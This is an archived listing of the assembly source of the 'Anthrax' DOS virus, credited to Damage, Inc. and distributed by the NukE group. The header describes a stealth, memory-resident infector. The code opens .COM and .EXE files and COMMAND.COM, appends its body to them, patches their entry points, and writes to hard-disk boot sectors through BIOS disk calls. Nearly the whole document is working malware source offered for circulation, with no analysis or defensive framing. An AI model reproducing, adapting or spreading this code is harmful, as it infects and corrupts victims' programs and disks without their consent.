home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / a / anthrax.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  11.6 KB  |  450 lines

  1. ;**************************************************************************
  2.  
  3. ;**                        ANTHRAX VIRUS                                 **
  4.  
  5. ;**      Created: 2 Jan 90           Programmer: (c) Damage, Inc.        **
  6.  
  7. ;** [NukE] Notes: Another Stealth Type of Virus! and this one is Detected**
  8.  
  9. ;**               by Scan (McAfee & Assc.) And does copy itself to *.COM **
  10.  
  11. ;**               *.EXE and the Command.Com and is Memory Resident!      **
  12.  
  13. ;**                                                                      **
  14.  
  15. ;** Sources brought to you by -> Rock Steady [NukE]s Head Programmer!    **
  16.  
  17. ;**                                                                      **
  18.  
  19. ;**************************************************************************
  20.  
  21.  
  22.  
  23. .286p
  24.  
  25.  
  26.  
  27. DATA_1E        EQU    46CH            ; (0000:046C=2DH)
  28.  
  29. DATA_2E        EQU    4            ; (65AC:0004=0)
  30.  
  31. DATA_3E        EQU    7            ; (65AC:0007=0)
  32.  
  33. DATA_10E    EQU    5FEH            ; (65AC:05FE=0)
  34.  
  35.  
  36.  
  37. SEG_A        SEGMENT    BYTE PUBLIC
  38.  
  39.         ASSUME    CS:SEG_A, DS:SEG_A
  40.  
  41.  
  42.  
  43.  
  44.  
  45.         ORG    100h
  46.  
  47.  
  48.  
  49. ANTHRAX        PROC    FAR
  50.  
  51.  
  52.  
  53. START:
  54.  
  55.         JMP    LOC_24            ; (043B)
  56.  
  57.         DB    13 DUP (0)
  58.  
  59.         DB    95H, 8CH, 0C8H, 2DH, 0, 0
  60.  
  61.         DB    0BAH, 0, 0, 50H, 52H, 1EH
  62.  
  63.         DB    33H, 0C9H, 8EH, 0D9H, 0BEH, 4CH
  64.  
  65.         DB    0, 0B8H, 0CDH, 0, 8CH, 0CAH
  66.  
  67.         DB    87H, 44H, 44H, 87H, 54H, 46H
  68.  
  69.         DB    52H, 50H, 0C4H, 1CH, 0B4H, 13H
  70.  
  71.         DB    0CDH, 2FH, 6, 53H, 0B4H, 13H
  72.  
  73.         DB    0CDH, 2FH, 58H, 5AH, 87H, 4
  74.  
  75.         DB    87H, 54H, 2, 52H, 50H, 51H
  76.  
  77.         DB    56H, 0A0H, 3FH, 4, 0A8H, 0FH
  78.  
  79.         DB    75H, 6CH, 0EH, 7, 0BAH, 80H
  80.  
  81.         DB    0, 0B1H, 3, 0BBH, 77H, 6
  82.  
  83.         DB    0B8H, 1, 2, 50H, 0CDH, 13H
  84.  
  85.         DB    58H, 0B1H, 1, 0BBH, 0, 4
  86.  
  87.         DB    0CDH, 13H, 0EH, 1FH, 0BEH, 9BH
  88.  
  89.         DB    3, 8BH, 0FBH, 0B9H, 5EH, 0
  90.  
  91.         DB    56H, 0F3H, 0A6H, 5EH, 8BH, 0FBH
  92.  
  93.         DB    0B9H, 62H, 0, 56H, 0F3H, 0A4H
  94.  
  95.         DB    5FH, 0BEH, 12H, 8, 0B9H, 65H
  96.  
  97.         DB    0, 0F3H, 0A4H, 74H, 1EH, 89H
  98.  
  99.         DB    4DH, 0E9H, 0B1H, 5CH, 89H, 4DH
  100.  
  101.         DB    9BH, 88H, 6DH, 0DCH, 0B1H, 2
  102.  
  103.         DB    33H, 0DBH, 0B8H, 2, 3, 0CDH
  104.  
  105.         DB    13H, 49H, 0BBH, 0, 4, 0B8H
  106.  
  107.         DB    1, 3, 0CDH, 13H, 49H, 0B4H
  108.  
  109.         DB    19H, 0CDH, 21H, 50H, 0B2H, 2
  110.  
  111.         DB    0B4H, 0EH, 0CDH, 21H, 0B7H, 2
  112.  
  113.         DB    0E8H, 87H, 1, 5AH, 0B4H, 0EH
  114.  
  115.         DB    0CDH, 21H, 5EH, 1FH, 8FH, 4
  116.  
  117.         DB    8FH, 44H, 2, 8FH, 44H, 44H
  118.  
  119.         DB    8FH, 44H, 46H, 1FH, 1EH, 7
  120.  
  121.         DB    95H, 0CBH
  122.  
  123. copyright    DB    '(c) Damage, Inc.'
  124.  
  125.         DB    0, 0B0H, 3, 0CFH, 6, 1EH
  126.  
  127.         DB    57H, 56H, 50H, 33H, 0C0H, 8EH
  128.  
  129.         DB    0D8H, 0BEH, 86H, 0, 0EH, 7
  130.  
  131.         DB    0BFH, 8, 6, 0FDH, 0ADH, 0ABH
  132.  
  133.         DB    0A5H, 0AFH, 87H, 0F7H, 0ADH, 0FCH
  134.  
  135.         DB    74H, 11H, 1EH, 7, 0AFH, 0B8H
  136.  
  137.         DB    7, 1, 0ABH, 8CH, 0C8H, 0ABH
  138.  
  139.         DB    8EH, 0D8H, 0BFH, 68H, 0, 0A5H
  140.  
  141.         DB    0A5H, 58H, 5EH, 5FH, 1FH, 7
  142.  
  143.         DB    2EH, 0FFH, 2EH, 0, 6, 6
  144.  
  145.         DB    1EH, 57H, 56H, 52H, 51H, 53H
  146.  
  147.         DB    50H, 0EH, 1FH, 0BEH, 6, 6
  148.  
  149.         DB    33H, 0C9H, 8EH, 0C1H, 0BFH, 84H
  150.  
  151.         DB    0, 0A5H, 0A5H, 0B4H, 52H, 0CDH
  152.  
  153.         DB    21H, 26H, 8BH, 47H, 0FEH, 8EH
  154.  
  155.         DB    0D8H, 0BBH, 3, 0, 3, 7
  156.  
  157.         DB    40H, 8EH, 0D8H, 81H, 7, 80H
  158.  
  159.         DB    0, 0EH, 7, 0B7H, 12H, 0E8H
  160.  
  161.         DB    0F2H, 0, 58H, 5BH, 59H, 5AH
  162.  
  163.         DB    5EH, 5FH, 1FH, 7, 2EH, 0FFH
  164.  
  165.         DB    2EH, 6, 6
  166.  
  167.   
  168.  
  169. LOC_RET_1:
  170.  
  171.         RETN
  172.  
  173.         DB    91H, 0AEH, 0B4H, 0A8H, 0BFH
  174.  
  175.         DB    20H, 31H, 39H, 39H, 30H
  176.  
  177.   
  178.  
  179. ANTHRAX        ENDP
  180.  
  181.   
  182.  
  183. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  184.  
  185. ;                   SUBROUTINE
  186.  
  187. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  188.  
  189.   
  190.  
  191. SUB_1        PROC    NEAR
  192.  
  193.         MOV    AX,3D00H
  194.  
  195.         INT    21H            ; DOS Services  ah=function 3Dh
  196.  
  197.                         ;  open file, al=mode,name@ds:dx
  198.  
  199.         JC    LOC_RET_1        ; Jump if carry Set
  200.  
  201.         XCHG    AX,BX
  202.  
  203.         MOV    AX,1220H
  204.  
  205.         INT    2FH            ; Multiplex/Spooler al=func 20h
  206.  
  207.         PUSH    BX
  208.  
  209.         MOV    BL,ES:[DI]
  210.  
  211.         MOV    AX,1216H
  212.  
  213.         INT    2FH            ; Multiplex/Spooler al=func 16h
  214.  
  215.         POP    BX
  216.  
  217.         MOV    SI,462H
  218.  
  219.         MOV    DX,SI
  220.  
  221.         MOV    CL,18H
  222.  
  223.         MOV    AH,3FH            ; '?'
  224.  
  225.         INT    21H            ; DOS Services  ah=function 3Fh
  226.  
  227.                         ;  read file, cx=bytes, to ds:dx
  228.  
  229.         XOR    AX,CX
  230.  
  231.         JNZ    LOC_7            ; Jump if not zero
  232.  
  233.         PUSH    ES
  234.  
  235.         POP    DS
  236.  
  237.         MOV    BYTE PTR [DI+2],2
  238.  
  239.         XOR    DX,DX            ; Zero register
  240.  
  241. LOC_2:
  242.  
  243.         IN    AL,DX            ; port 0, DMA-1 bas&add ch 0
  244.  
  245.         CMP    AL,10H
  246.  
  247.         JB    LOC_2            ; Jump if below
  248.  
  249.         ADD    AX,[DI+11H]
  250.  
  251.         ADC    DX,[DI+13H]
  252.  
  253.         AND    AL,0F0H
  254.  
  255.         CMP    AX,0FB00H
  256.  
  257.         JAE    LOC_7            ; Jump if above or =
  258.  
  259.         MOV    [DI+15H],AX
  260.  
  261.         MOV    [DI+17H],DX
  262.  
  263.         PUSH    CS
  264.  
  265.         POP    DS
  266.  
  267.         PUSH    AX
  268.  
  269.         MOV    CL,10H
  270.  
  271.         DIV    CX            ; ax,dx rem=dx:ax/reg
  272.  
  273.         SUB    AX,[SI+8]
  274.  
  275.         MOV    CX,AX
  276.  
  277.         SUB    AX,[SI+16H]
  278.  
  279.         MOV    DS:DATA_2E,AX        ; (65AC:0004=0)
  280.  
  281.         LODSW                ; String [si] to ax
  282.  
  283.         XOR    AX,5A4DH
  284.  
  285.         JZ    LOC_3            ; Jump if zero
  286.  
  287.         XOR    AX,1717H
  288.  
  289. LOC_3:
  290.  
  291.         PUSHF                ; Push flags
  292.  
  293.         JNZ    LOC_4            ; Jump if not zero
  294.  
  295.         MOV    [SI],AX
  296.  
  297.         CMP    AX,[SI+0AH]
  298.  
  299.         XCHG    AX,[SI+12H]
  300.  
  301.         MOV    DS:DATA_3E,AX        ; (65AC:0007=0)
  302.  
  303.         MOV    [SI+14H],CX
  304.  
  305.         MOV    CX,4DCH
  306.  
  307.         JZ    LOC_5            ; Jump if zero
  308.  
  309.         ADD    WORD PTR [SI+8],48H
  310.  
  311. LOC_4:
  312.  
  313.         MOV    CX,65H
  314.  
  315. LOC_5:
  316.  
  317.         PUSH    CX
  318.  
  319.         MOV    CX,39BH
  320.  
  321.         MOV    AH,40H            ; '@'
  322.  
  323.         INT    21H            ; DOS Services  ah=function 40h
  324.  
  325.                         ;  write file cx=bytes, to ds:dx
  326.  
  327.         XOR    CX,AX
  328.  
  329.         POP    CX
  330.  
  331.         JNZ    LOC_6            ; Jump if not zero
  332.  
  333.         MOV    DX,400H
  334.  
  335.         MOV    AH,40H            ; '@'
  336.  
  337.         INT    21H            ; DOS Services  ah=function 40h
  338.  
  339.                         ;  write file cx=bytes, to ds:dx
  340.  
  341.         XOR    CX,AX
  342.  
  343. LOC_6:
  344.  
  345.         POP    DX
  346.  
  347.         POP    AX
  348.  
  349. LOC_7:
  350.  
  351.         JNZ    LOC_11            ; Jump if not zero
  352.  
  353.         MOV    ES:[DI+15H],CX
  354.  
  355.         MOV    ES:[DI+17H],CX
  356.  
  357.         PUSH    DX
  358.  
  359.         POPF                ; Pop flags
  360.  
  361.         JNZ    LOC_9            ; Jump if not zero
  362.  
  363.         MOV    AX,ES:[DI+11H]
  364.  
  365.         MOV    DX,ES:[DI+13H]
  366.  
  367.         MOV    CH,2
  368.  
  369.         DIV    CX            ; ax,dx rem=dx:ax/reg
  370.  
  371.         TEST    DX,DX
  372.  
  373.         JZ    LOC_8            ; Jump if zero
  374.  
  375.         INC    AX
  376.  
  377. LOC_8:
  378.  
  379.         MOV    [SI],DX
  380.  
  381.         MOV    [SI+2],AX
  382.  
  383.         JMP    SHORT LOC_10        ; (0328)
  384.  
  385. LOC_9:
  386.  
  387.         MOV    BYTE PTR [SI-2],0E9H
  388.  
  389.         ADD    AX,328H
  390.  
  391.         MOV    [SI-1],AX
  392.  
  393. LOC_10:
  394.  
  395.         MOV    CX,18H
  396.  
  397.         LEA    DX,[SI-2]        ; Load effective addr
  398.  
  399.         MOV    AH,40H            ; '@'
  400.  
  401.         INT    21H            ; DOS Services  ah=function 40h
  402.  
  403.                         ;  write file cx=bytes, to ds:dx
  404.  
  405. LOC_11:
  406.  
  407.         OR    BYTE PTR ES:[DI+6],40H    ; '@'
  408.  
  409.         MOV    AH,3EH            ; '>'
  410.  
  411. LOC_12:
  412.  
  413.         INT    21H            ; DOS Services  ah=function 3Eh
  414.  
  415.                         ;  close file, bx=file handle
  416.  
  417.         RETN
  418.  
  419. SUB_1        ENDP
  420.  
  421.   
  422.  
  423.   
  424.  
  425. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  426.  
  427. ;                   SUBROUTINE
  428.  
  429. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  430.  
  431.   
  432.  
  433. SUB_2        PROC    NEAR
  434.  
  435.         MOV    DS,CX
  436.  
  437.         MOV    BL,DS:DATA_1E        ; (0000:046C=34H)
  438.  
  439.         PUSH    CS
  440.  
  441.         POP    DS
  442.  
  443.         INC    DATA_7            ; (65AC:045E=0FC00H)
  444.  
  445.         MOV    DX,64BH
  446.  
  447.         CALL    SUB_3            ; (036D)
  448.  
  449.         MOV    SI,60AH
  450.  
  451.         MOV    BYTE PTR [SI],5CH    ; '\'
  452.  
  453.         INC    SI
  454.  
  455.         XOR    DL,DL            ; Zero register
  456.  
  457.         MOV    AH,47H            ; 'G'
  458.  
  459.         INT    21H            ; DOS Services  ah=function 47h
  460.  
  461.                         ;  get present dir,drive dl,1=a:
  462.  
  463.         MOV    DX,39BH
  464.  
  465. LOC_13:
  466.  
  467.         MOV    AH,3BH            ; ';'
  468.  
  469.         INT    21H            ; DOS Services  ah=function 3Bh
  470.  
  471.                         ;  set current dir, path @ ds:dx
  472.  
  473.         JCXZ    LOC_14            ; Jump if cx=0
  474.  
  475.         MOV    AH,51H            ; 'Q'
  476.  
  477.         INT    21H            ; DOS Services  ah=function 51h
  478.  
  479.                         ;  get active PSP segment in bx
  480.  
  481.         MOV    DS,BX
  482.  
  483.         MOV    DX,80H
  484.  
  485.   
  486.  
  487. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  488.  
  489.   
  490.  
  491. SUB_3:
  492.  
  493.         MOV    AH,1AH
  494.  
  495.         JMP    SHORT LOC_12        ; (0339)
  496.  
  497. LOC_14:
  498.  
  499.         JC    LOC_17            ; Jump if carry Set
  500.  
  501.         MOV    SI,39CH
  502.  
  503.         XOR    DL,DL            ; Zero register
  504.  
  505.         MOV    AH,47H            ; 'G'
  506.  
  507.         INT    21H            ; DOS Services  ah=function 47h
  508.  
  509.                         ;  get present dir,drive dl,1=a:
  510.  
  511.         CMP    CH,BYTE PTR DS:[3DCH]    ; (65AC:03DC=81H)
  512.  
  513. LOC_15:
  514.  
  515.         MOV    CL,32H            ; '2'
  516.  
  517.         MOV    DX,29DH
  518.  
  519.         MOV    AH,4EH            ; 'N'
  520.  
  521.         JZ    LOC_20            ; Jump if zero
  522.  
  523.         INT    21H            ; DOS Services  ah=function 4Eh
  524.  
  525.                         ;  find 1st filenam match @ds:dx
  526.  
  527.         JC    LOC_17            ; Jump if carry Set
  528.  
  529. LOC_16:
  530.  
  531.         MOV    DX,64BH
  532.  
  533.         MOV    AX,4F01H
  534.  
  535.         MOV    SI,3DCH
  536.  
  537.         MOV    DI,668H
  538.  
  539.         STOSB                ; Store al to es:[di]
  540.  
  541.         MOV    CL,0DH
  542.  
  543.         REPE    CMPSB            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  544.  
  545.         JZ    LOC_20            ; Jump if zero
  546.  
  547.         CMP    CH,[DI-2]
  548.  
  549.         JE    LOC_20            ; Jump if equal
  550.  
  551.         INT    21H            ; DOS Services  ah=function 4Fh
  552.  
  553.                         ;  find next filename match
  554.  
  555.         JNC    LOC_16            ; Jump if carry=0
  556.  
  557.         XOR    AL,AL            ; Zero register
  558.  
  559.         JMP    SHORT LOC_15        ; (0380)
  560.  
  561.         DB    2AH, 2EH, 2AH, 0
  562.  
  563. LOC_17:
  564.  
  565.         MOV    CL,41H            ; 'A'
  566.  
  567.         MOV    DI,39CH
  568.  
  569.         CMP    CH,[DI]
  570.  
  571.         MOV    AL,CH
  572.  
  573.         MOV    BYTE PTR DS:[3DCH],AL    ; (65AC:03DC=81H)
  574.  
  575.         JZ    LOC_23            ; Jump if zero
  576.  
  577.         REPNE    SCASB            ; Rep zf=0+cx >0 Scan es:[di] for al
  578.  
  579.         DEC    DI
  580.  
  581.         MOV    CL,41H            ; 'A'
  582.  
  583.         MOV    AL,5CH            ; '\'
  584.  
  585.         STD                ; Set direction flag
  586.  
  587.         REPNE    SCASB            ; Rep zf=0+cx >0 Scan es:[di] for al
  588.  
  589.         LEA    SI,[DI+2]        ; Load effective addr
  590.  
  591.         MOV    DI,3DCH
  592.  
  593.         CLD                ; Clear direction
  594.  
  595. LOC_18:
  596.  
  597.         LODSB                ; String [si] to al
  598.  
  599.         TEST    AL,AL
  600.  
  601.         STOSB                ; Store al to es:[di]
  602.  
  603.         JNZ    LOC_18            ; Jump if not zero
  604.  
  605.         MOV    DX,2CDH
  606.  
  607.         XOR    CL,CL            ; Zero register
  608.  
  609.         JMP    SHORT LOC_13        ; (035E)
  610.  
  611.         DB    2EH, 2EH, 0
  612.  
  613. LOC_19:
  614.  
  615.         MOV    DX,64BH
  616.  
  617.         MOV    AH,4FH            ; 'O'
  618.  
  619. LOC_20:
  620.  
  621.         INT    21H            ; DOS Services  ah=function 4Fh
  622.  
  623.                         ;  find next filename match
  624.  
  625.         JC    LOC_17            ; Jump if carry Set
  626.  
  627. DATA_6        DW    69BEH
  628.  
  629.         DB    6, 0BFH, 0DCH, 3, 80H, 3CH
  630.  
  631.         DB    2EH, 74H, 0ECH, 88H, 2DH, 8BH
  632.  
  633.         DB    0D6H, 0F6H, 44H, 0F7H, 10H, 75H
  634.  
  635.         DB    0DBH
  636.  
  637. LOC_21:
  638.  
  639.         LODSB                ; String [si] to al
  640.  
  641.         TEST    AL,AL
  642.  
  643.         STOSB                ; Store al to es:[di]
  644.  
  645.         JNZ    LOC_21            ; Jump if not zero
  646.  
  647.         DEC    SI
  648.  
  649.         STD                ; Set direction flag
  650.  
  651.         LODSW                ; String [si] to ax
  652.  
  653.         LODSW                ; String [si] to ax
  654.  
  655.         CLD                ; Clear direction
  656.  
  657.         CMP    AX,4558H
  658.  
  659.         JE    LOC_22            ; Jump if equal
  660.  
  661.         CMP    AX,4D4FH
  662.  
  663.         JNE    LOC_19            ; Jump if not equal
  664.  
  665. LOC_22:
  666.  
  667.         PUSH    BX
  668.  
  669.         CALL    SUB_1            ; (0262)
  670.  
  671.         POP    BX
  672.  
  673.         XOR    CX,CX            ; Zero register
  674.  
  675.         MOV    ES,CX
  676.  
  677.         MOV    AL,ES:DATA_1E        ; (0000:046C=38H)
  678.  
  679.         PUSH    CS
  680.  
  681.         POP    ES
  682.  
  683.         SUB    AL,BL
  684.  
  685.         CMP    AL,BH
  686.  
  687.         JB    LOC_19            ; Jump if below
  688.  
  689. LOC_23:
  690.  
  691.         MOV    DX,80H
  692.  
  693.         MOV    CL,3
  694.  
  695.         MOV    BX,200H
  696.  
  697.         MOV    AX,301H
  698.  
  699.         INT    13H            ; Disk  dl=drive 0: ah=func 03h
  700.  
  701.                         ;  write sectors from mem es:bx
  702.  
  703.         MOV    DX,60AH
  704.  
  705.         JMP    LOC_13            ; (035E)
  706.  
  707. SUB_2        ENDP
  708.  
  709.   
  710.  
  711. LOC_24:
  712.  
  713.         XCHG    AX,BP
  714.  
  715.         MOV    DI,100H
  716.  
  717.         MOV    BX,[DI+1]
  718.  
  719.         SUB    BX,228H
  720.  
  721.         MOV    AX,DI
  722.  
  723.         LEA    SI,[BX+3FDH]        ; Load effective addr
  724.  
  725.         MOVSW                ; Mov [si] to es:[di]
  726.  
  727.         MOVSB                ; Mov [si] to es:[di]
  728.  
  729.         XCHG    AX,BX
  730.  
  731.         MOV    CL,4
  732.  
  733.         SHR    AX,CL            ; Shift w/zeros fill
  734.  
  735.         MOV    CX,DS
  736.  
  737.         ADD    AX,CX
  738.  
  739.         MOV    DX,0BH
  740.  
  741.         JMP    SHORT LOC_26        ; (04CD)
  742.  
  743.         DB    0B8H, 0D0H
  744.  
  745. DATA_7        DW    0FC00H
  746.  
  747. DATA_8        DW    8587H
  748.  
  749.         DB    68H, 0FAH, 0ABH, 8CH, 0C8H, 0E2H
  750.  
  751.         DB    0F7H, 0A3H, 86H, 0, 0ABH, 8EH
  752.  
  753.         DB    0D8H, 0B4H, 8, 0CDH, 13H, 49H
  754.  
  755.         DB    49H, 0A1H, 0E9H, 3, 84H, 0E4H
  756.  
  757.         DB    74H, 1, 91H, 0B2H, 80H, 0B8H
  758.  
  759.         DB    3, 3, 0CDH, 13H, 91H, 84H
  760.  
  761.         DB    0E4H, 75H, 2
  762.  
  763.         DB    2CH, 40H
  764.  
  765. LOC_25:
  766.  
  767.         DEC    AH
  768.  
  769.         MOV    DATA_6,AX        ; (65AC:03E9=69BEH)
  770.  
  771.         INC    DATA_8            ; (65AC:0460=8587H)
  772.  
  773.         XOR    DH,DH            ; Zero register
  774.  
  775.         MOV    CX,1
  776.  
  777.         MOV    BX,400H
  778.  
  779.         MOV    AX,301H
  780.  
  781.         INT    13H            ; Disk  dl=drive ?: ah=func 03h
  782.  
  783.                         ;  write sectors from mem es:bx
  784.  
  785.         MOV    DL,DH
  786.  
  787.         RETF                ; Return far
  788.  
  789.         DB    41H, 4EH, 54H, 48H, 52H, 41H
  790.  
  791.         DB    58H, 0EH, 1FH, 83H, 2EH, 13H
  792.  
  793.         DB    4, 2, 0CDH, 12H, 0B1H, 6
  794.  
  795.         DB    0D3H, 0E0H, 8EH, 0C0H, 0BFH, 0
  796.  
  797.         DB    4, 0BEH, 0, 7CH, 0B9H, 0
  798.  
  799.         DB    1, 8BH, 0DEH, 0FCH, 0F3H, 0A5H
  800.  
  801.         DB    8EH, 0D8H, 0BAH, 27H, 4
  802.  
  803. LOC_26:
  804.  
  805.         PUSH    CX
  806.  
  807.         PUSH    BX
  808.  
  809.         PUSH    AX
  810.  
  811.         PUSH    DX
  812.  
  813.         RETF                ; Return far
  814.  
  815.         DB    8EH, 0C1H, 0B1H, 4, 0BEH, 0B0H
  816.  
  817.         DB    5
  818.  
  819.   
  820.  
  821. LOCLOOP_27:
  822.  
  823.         ADD    SI,0EH
  824.  
  825.         LODSW                ; String [si] to ax
  826.  
  827.         CMP    AL,80H
  828.  
  829.         JE    LOC_29            ; Jump if equal
  830.  
  831.         LOOP    LOCLOOP_27        ; Loop if cx > 0
  832.  
  833.  
  834.  
  835. LOC_28:
  836.  
  837.         INT    18H            ; ROM basic
  838.  
  839. LOC_29:
  840.  
  841.         XCHG    AX,DX
  842.  
  843.         STD                ; Set direction flag
  844.  
  845.         LODSW                ; String [si] to ax
  846.  
  847.         XCHG    AX,CX
  848.  
  849.         MOV    AX,201H
  850.  
  851.         INT    13H            ; Disk  dl=drive a: ah=func 02h
  852.  
  853.                         ;  read sectors to memory es:bx
  854.  
  855.         CMP    WORD PTR DS:DATA_10E,0AA55H    ; (65AC:05FE=0)
  856.  
  857.         JNE    LOC_28            ; Jump if not equal
  858.  
  859.         PUSH    ES
  860.  
  861.         PUSH    DS
  862.  
  863.         POP    ES
  864.  
  865.         POP    DS
  866.  
  867.         XOR    DH,DH            ; Zero register
  868.  
  869.         MOV    CX,2
  870.  
  871.         XOR    BX,BX            ; Zero register
  872.  
  873.         MOV    AX,202H
  874.  
  875.         INT    13H            ; Disk  dl=drive a: ah=func 02h
  876.  
  877.                         ;  read sectors to memory es:bx
  878.  
  879.         JMP    $-10FH
  880.  
  881.         DB    0, 0, 0, 0, 0CDH, 20H
  882.  
  883.         DB    0CCH
  884.  
  885.         DB    112 DUP (1AH)
  886.  
  887.   
  888.  
  889. SEG_A        ENDS
  890.  
  891.   
  892.  
  893.   
  894.  
  895.   
  896.  
  897.         END    START
  898.  
  899.